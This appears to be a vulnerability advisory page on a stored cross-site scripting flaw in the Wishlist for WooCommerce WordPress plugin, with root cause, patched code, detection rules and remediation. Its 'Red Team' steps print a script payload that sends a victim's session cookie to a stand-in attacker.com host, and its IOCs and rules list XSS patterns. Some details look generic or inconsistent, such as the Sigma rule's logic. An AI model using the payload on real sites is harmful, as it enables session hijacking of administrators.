CVE-2025-69334
Executive Summary
CVE-2025-69334 is a Stored Cross-Site Scripting (XSS) vulnerability in the Wishlist for WooCommerce plugin by WPFactory, affecting versions up to and including 3.3.0. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into the wishlist functionality. When an administrator or other user views the compromised wishlist page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As a WordPress plugin vulnerability, it specifically impacts the WordPress ecosystem and does not involve Apache or Nginx server software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. The lack of a confirmed patch increases the risk of supply chain attacks if malicious actors distribute modified versions of the plugin.
CVSS Breakdown & Threat Level
CVSS Score: 6.5 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability is exploitable remotely over a network.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
- User Interaction (UI): Required – The victim (e.g., an admin) must view the malicious wishlist page.
- Scope (S): Changed – The impact extends beyond the vulnerable component, affecting the user’s browser session.
- Confidentiality (C): Low – Limited information disclosure is possible.
- Integrity (I): Low – Limited ability to modify data or content.
- Availability (A): Low – Limited impact on service availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely used e-commerce plugin can lead to significant business impact, including customer data exposure and reputational damage.
Deep Dive & Mechanics
The vulnerability exists in the wishlist functionality of the WooCommerce plugin. When a user creates or edits a wishlist item (e.g., adding a product with a custom note or title), the plugin fails to properly sanitize the input before storing it in the database. When the wishlist page is rendered, the unsanitized input is included in the HTML output without proper encoding, allowing arbitrary JavaScript execution.
Attack Flow:
- An attacker with contributor-level access logs into the WordPress admin panel.
- The attacker navigates to the wishlist management section and creates a new wishlist item.
- In a field such as "Note" or "Title," the attacker injects a malicious payload, e.g.,
<script>alert('XSS')</script>. - The plugin stores this payload in the WordPress database without sanitization.
- When an administrator or other user views the wishlist page, the payload executes in their browser.
- The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.
Root Cause: The plugin uses functions like echo $note; or the_title() without applying WordPress’s built-in escaping functions such as esc_html() or wp_kses_post().
Vulnerable vs. Patched Code
Vulnerable Code (Example):
// In a template file or shortcode handler
echo '<div class="wishlist-note">' . $note . '</div>';
Patched Code (Expected):
// Properly escape output
echo '<div class="wishlist-note">' . esc_html( $note ) . '</div>';
The vulnerable code directly outputs user-supplied data without escaping, allowing HTML and JavaScript injection. The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress installation with WooCommerce and Wishlist for WooCommerce plugin version <= 3.3.0.
- A contributor-level user account.
Steps:
- Log in as a contributor.
- Navigate to the wishlist page (e.g.,
/my-account/wishlist/). - Add a new wishlist item with a malicious payload in the "Note" field:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the wishlist item.
- Wait for an administrator to view the wishlist page, or send a direct link to the admin.
Expected Outcome: The admin’s browser executes the script, sending their session cookie to the attacker’s server.
Blue Team
Detection:
- Monitor for unusual wishlist entries containing script tags or event handlers.
- Review WordPress database entries in the
wp_wishlist_itemstable for suspicious content. - Use Web Application Firewall (WAF) rules to block common XSS payloads.
Mitigation:
- Apply input validation and output encoding on all wishlist fields.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Restrict contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File Hashes: (None provided; check plugin file integrity)
- Network Indicators:
- Outbound HTTP requests to unknown domains from the WordPress server.
- Suspicious parameters in wishlist URLs (e.g.,
?wishlist_note=<script>).
- Database Indicators:
- Entries in
wp_wishlist_itemscontaining<script>,<img onerror=, orjavascript:.
- Entries in
- Log Indicators:
- WordPress debug logs showing unexpected output in wishlist templates.
- Web server access logs with unusual user-agent strings or repeated wishlist page views.
Detection Engineering
YARA Rule
rule CVE_2025_69334_Wishlist_XSS {
meta:
description = "Detects stored XSS payloads in Wishlist for WooCommerce plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-69334"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in Wishlist for WooCommerce
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via wishlist note fields
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: '/wishlist/'
http.body|contains|all:
- '<script'
- 'onerror'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in wishlist descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-69334 - Stored XSS in Wishlist for WooCommerce";
flow:to_server,established;
content:"/wishlist/"; http_uri;
content:"<script"; http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2025-69334;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Restrict contributor-level access to only trusted users.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
Long-Term Fix:
- Apply output escaping using
esc_html(),esc_attr(), orwp_kses_post()in all wishlist-related templates. - Use WordPress’s
wp_unslash()andsanitize_text_field()on input. - Regularly update the plugin and monitor for official patches from WPFactory.
Workaround:
- Add a custom function to your theme’s
functions.phpto sanitize wishlist data before display:add_filter( 'wishlist_item_note', 'esc_html' );
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.